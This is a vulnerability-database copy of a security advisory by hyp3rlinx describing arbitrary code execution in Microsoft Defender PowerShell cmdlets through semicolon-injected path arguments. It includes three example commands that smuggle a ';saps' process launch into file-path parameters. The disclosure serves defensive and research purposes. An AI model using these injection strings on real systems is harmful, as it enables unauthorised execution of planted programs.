Lucene search
K

Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution

🗓️ 08 Dec 2023 00:00:00Reported by hyp3rlinx, hyp3rlinx.altervista.orgType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 338 Views

Microsoft Defender Anti-Malware PowerShell API Arbitrary Code Execution vulnerability in Windows PowerShell allows remote arbitrary code execution via certain API calls, posing a high security risk

Code
`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt  
[+] twitter.com/hyp3rlinx  
[+] x.com/hyp3rlinx  
[+] ISR: ApparitionSec   
  
  
[Vendor]  
www.microsoft.com  
  
  
[Product]  
Windows PowerShell  
  
  
[Vulnerability Type]  
Arbitrary Code Execution  
  
  
[CVE Reference]  
N/A  
  
  
[Security Issue]  
Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.  
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.  
This vector builds upon my previous advisory and subsequent project PSTrojanFile.  
  
Requirements:  
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script  
2) Executable file of same name as the parameter that lives nearby  
  
Examples:  
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;.1.zip"  
(Helper.exe lives on Desktop)  
  
Create directory ";saps Test", Test.exe, Test.cmd etc is on same CL path  
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"  
  
Create directory with semicolon, drop PE file named doom.exe in same path.  
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"  
  
TODO: Update PSTrojanFile  
  
[References]  
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt  
https://github.com/hyp3rlinx/PSTrojanFile  
https://packetstormsecurity.com/files/153863/Microsoft-Windows-PowerShell-Command-Execution.html  
https://www.exploit-db.com/exploits/47248  
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender  
  
  
[Video PoC URL]  
https://www.youtube.com/watch?v=0Go6yJiRWP8  
  
  
[Network Access]  
Remote   
  
  
[Severity]  
High  
  
  
[Disclosure Timeline]  
Vendor Notification: circa (2019)  
December 7, 2023 : Public Disclosure  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Dec 2023 00:00Current
7.4High risk
Vulners AI Score7.4
338